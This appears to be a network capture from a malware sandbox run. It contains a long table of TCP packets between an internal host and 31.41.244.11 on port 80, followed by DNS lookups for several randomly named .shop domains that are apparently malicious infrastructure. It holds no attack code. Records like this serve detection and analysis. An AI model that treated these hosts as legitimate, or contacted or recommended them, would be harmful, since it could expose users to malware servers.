Jan 12, 2025 17:39:15.336642981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.336667061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.336667061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.336708069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.336708069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.336708069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.336781025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393342018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393408060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393459082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393508911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393537045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393543005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393615007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393666983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393693924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393693924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393702030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393749952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393749952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393754959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393790007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393836975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393836975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393841982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393876076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393898010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393913984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393959999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393959999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.393965006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.393999100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394028902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394043922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394043922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394082069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394129038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394129038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394135952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394188881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394238949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394239902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394239902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394273043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394314051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394329071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394329071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394347906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394393921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394393921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394398928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394428968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394460917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394474983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394474983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394495964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394505024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394531012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394560099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394567013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394577026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394601107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394624949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394634962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394669056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394679070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394679070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394706964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394716024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394810915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394833088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394865990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394900084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394912004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394912004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394933939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394968033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.394978046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.394978046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395003080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395036936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395045996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395045996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395071983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395106077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395121098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395121098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395143986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395178080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395188093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395188093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395211935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395243883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395258904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395258904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395277023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395299911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395308971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395333052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395373106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395406961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395421028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395421028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395441055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395476103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395487070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395487070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395509958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395543098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395567894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395567894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395576954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395593882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395612955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395651102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.395715952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.395729065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421247959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421277046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421294928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421308994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421323061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421344995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421358109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421361923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421370029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421380043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421401024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421415091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421420097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421427011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421447039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421458960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421458960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421459913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421473026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421488047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421488047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421500921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421523094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421539068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421552896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421565056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421577930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421596050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421598911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421611071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421622038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421647072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421647072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421673059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421689034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421705008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421720982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421736956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421751976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421751976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421752930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421770096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421771049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421799898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421799898 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421811104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421850920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421866894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421884060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421899080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421916962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421932936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421936035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421936035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421948910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421950102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421967030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.421983957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.421993017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422009945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422009945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422018051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422034979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422049046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422049999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422050953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422066927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422066927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422081947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422103882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422103882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422116995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422117949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422135115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422149897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422158957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422168970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422184944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422188997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422188997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422203064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422218084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422221899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422221899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422235012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422251940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422252893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422261000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422267914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422286034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422303915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422317028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422322989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422322989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422333002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422354937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422354937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422354937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422370911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422386885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422393084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422393084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422404051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422422886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.422425985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422425985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422457933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.422457933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.436391115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479377031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479432106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479460955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479473114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479502916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479512930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479553938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479553938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479564905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479599953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479615927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479659081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479669094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479718924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479729891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479753017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479787111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479799032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479799032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479820967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479850054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479862928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479862928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479888916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479890108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479927063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.479959011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479971886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.479978085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480014086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480021954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480056047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480063915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480117083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480124950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480145931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480166912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480202913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480231047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480262041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480307102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480309963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480330944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480345964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480365038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480395079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480396986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480449915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480479002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480511904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480539083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480545044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480539083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480575085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480597973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480597973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480627060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480645895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480659962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480694056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480730057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480736971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480736971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480762005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480794907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480802059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480827093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480835915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480835915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480860949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480870962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480894089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480904102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480928898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480931044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480959892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.480971098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.480993032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481028080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481031895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481031895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481070995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481101036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481117964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481117964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481133938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481168032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481177092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481177092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481198072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481220007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481232882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:15.481251955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:15.481267929 CET	80	49975	31.41.244.11	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 12, 2025 17:38:14.874870062 CET	192.168.2.7	1.1.1.1	0xbf49	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:38:16.397703886 CET	192.168.2.7	1.1.1.1	0xbe26	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:43.955542088 CET	192.168.2.7	1.1.1.1	0xb99e	Standard query (0)	yachtingiturkey.com	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:57.974776030 CET	192.168.2.7	1.1.1.1	0x186f	Standard query (0)	soundtappysk.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:57.997071028 CET	192.168.2.7	1.1.1.1	0x9d36	Standard query (0)	femalsabler.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.009310961 CET	192.168.2.7	1.1.1.1	0x5d7a	Standard query (0)	apporholis.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.020844936 CET	192.168.2.7	1.1.1.1	0xefa9	Standard query (0)	crowdwarek.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.050503969 CET	192.168.2.7	1.1.1.1	0x9e0d	Standard query (0)	versersleep.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.065907001 CET	192.168.2.7	1.1.1.1	0xdb39	Standard query (0)	chipdonkeruz.shop	A (IP address)	IN (0x0001)	false
Jan 12, 2025 17:39:58.078464031 CET	192.168.2.7	1.1.1.1	0x1024	Standard query (0)	handscreamny.shop	A (IP address)	IN (0x0001)	false
